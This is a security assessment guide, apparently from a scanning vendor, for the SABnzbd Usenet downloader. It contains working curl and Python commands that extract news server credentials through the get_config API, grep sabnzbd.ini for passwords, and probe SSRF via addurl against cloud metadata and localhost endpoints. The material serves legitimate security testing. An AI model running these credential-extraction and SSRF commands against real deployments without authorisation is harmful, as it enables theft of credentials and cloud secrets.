SABnzbd is the most widely deployed self-hosted Usenet downloader, serving as the download backend for Sonarr, Radarr, and Prowlarr in the *arr stack. Its security profile centers on three high-value assets: news server credentials (the Usenet subscription login), the API key, and the download path. Its security assessment covers: SABnzbd's API key provides full control including reading configuration, adding downloads, and modifying settings — the key is visible in Settings > General; SABnzbd stores the Usenet news server hostname, username, and password in its sabnzbd.ini configuration file; the get_config API mode returns the full configuration including news server credentials in JSON format; SABnzbd's addurl mode triggers a server-side HTTP request to fetch the NZB file from the provided URL — this creates SSRF; and SABnzbd may allow unauthenticated access on localhost depending on configuration, which is exploitable from other services on the same host. This guide covers systematic SABnzbd security assessment.
# SABnzbd API — key-based access to all configuration and download management
SABNZBD_URL="https://sabnzbd.example.com"
API_KEY="your-sabnzbd-api-key"
# Get SABnzbd version and basic info
curl -s "${SABNZBD_URL}/api?output=json&mode=version&apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
" 2>/dev/null
# Get full configuration — reveals all settings including server credentials
curl -s "${SABNZBD_URL}/api?output=json&mode=get_config&apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
config = d.get('config',{})
# Server configuration — contains news server credentials
misc = config.get('misc',{})
print(f'Download path: {misc.get(\"complete_dir\")}')
print(f'Temp path: {misc.get(\"download_dir\")}')
print(f'Local auth: {misc.get(\"local_ranges\")}')
print(f'Username: {misc.get(\"username\",\"not set\")}')
print(f'Password: {misc.get(\"password\",\"not set\")}')
" 2>/dev/null
# List active downloads
curl -s "${SABNZBD_URL}/api?output=json&mode=queue&apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
queue = d.get('queue',{})
slots = queue.get('slots',[])
print(f'Active downloads: {len(slots)}')
for s in slots[:5]:
print(f' {s.get(\"filename\")} status={s.get(\"status\")} size={s.get(\"size\")}')
" 2>/dev/null
# SABnzbd news server configuration — stored in sabnzbd.ini and accessible via API
SABNZBD_URL="https://sabnzbd.example.com"
API_KEY="your-sabnzbd-api-key"
# Extract news server credentials from the config API
curl -s "${SABNZBD_URL}/api?output=json&mode=get_config§ion=servers&apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
servers = d.get('config',{}).get('servers',[])
print(f'News servers configured: {len(servers)}')
for srv in servers:
print(f' Server: {srv.get(\"host\")}:{srv.get(\"port\")}')
print(f' SSL: {srv.get(\"ssl\")}')
print(f' Username: {srv.get(\"username\")}')
print(f' Password: {srv.get(\"password\")}')
print(f' Connections: {srv.get(\"connections\")}')
print(f' Enabled: {srv.get(\"enable\")}')
" 2>/dev/null
# sabnzbd.ini location — direct filesystem access gives same info
# Typical locations: /config/sabnzbd.ini, ~/.sabnzbd/sabnzbd.ini, /opt/sabnzbd/sabnzbd.ini
cat /path/to/sabnzbd.ini 2>/dev/null | grep -A5 "\[servers\]" | head -20
# SABnzbd addurl mode — server fetches NZB from provided URL
SABNZBD_URL="https://sabnzbd.example.com"
API_KEY="your-sabnzbd-api-key"
# addurl causes SABnzbd to make a server-side HTTP GET to fetch the NZB file
# SSRF targets for testing:
SSRF_TARGETS=(
"http://169.254.169.254/latest/meta-data/"
"http://metadata.google.internal/computeMetadata/v1/"
"http://127.0.0.1:8080/"
)
for TARGET in "${SSRF_TARGETS[@]}"; do
echo "Testing SSRF via addurl: ${TARGET}"
curl -s "${SABNZBD_URL}/api?output=json&mode=addurl&name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${TARGET}'))")&apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f' Result: {d.get(\"status\")} nzoid={d.get(\"nzo_ids\")}')
except: pass
" 2>/dev/null
done
| Security Test | Method | Risk |
|---|---|---|
| API key access to full configuration including news server credentials | GET /api?output=json&mode=get_config&apikey=KEY — returns complete configuration including news server hostname, username, and password for all configured Usenet providers | Critical |
| News server credential extraction | GET /api?output=json&mode=get_config§ion=servers — specifically returns the servers array with host, port, username, password, and SSL settings for each configured news server | High |
| NZB URL SSRF via addurl mode | GET /api?mode=addurl&name=http://169.254.169.254/... — SABnzbd server makes outbound HTTP GET to the provided URL to fetch the NZB file; SSRF to cloud metadata and internal services | High |
| Localhost authentication bypass | HTTP request from 127.0.0.1 to SABnzbd without credentials — SABnzbd may skip authentication for requests from configured local ranges; exploitable from other services on the same host | High |
| sabnzbd.ini credential exposure | Read sabnzbd.ini — contains api_key, nzb_key, news server passwords in plaintext in the [servers] section; accessible via path traversal or direct filesystem access | High |
Ironimo tests SABnzbd deployments for API key access exposing the full configuration, news server credential extraction from the get_config API endpoint, NZB URL SSRF via the addurl mode triggering server-side HTTP requests, localhost authentication bypass configuration, sabnzbd.ini credential exposure, download path security review, and web UI authentication configuration analysis.
Start free scan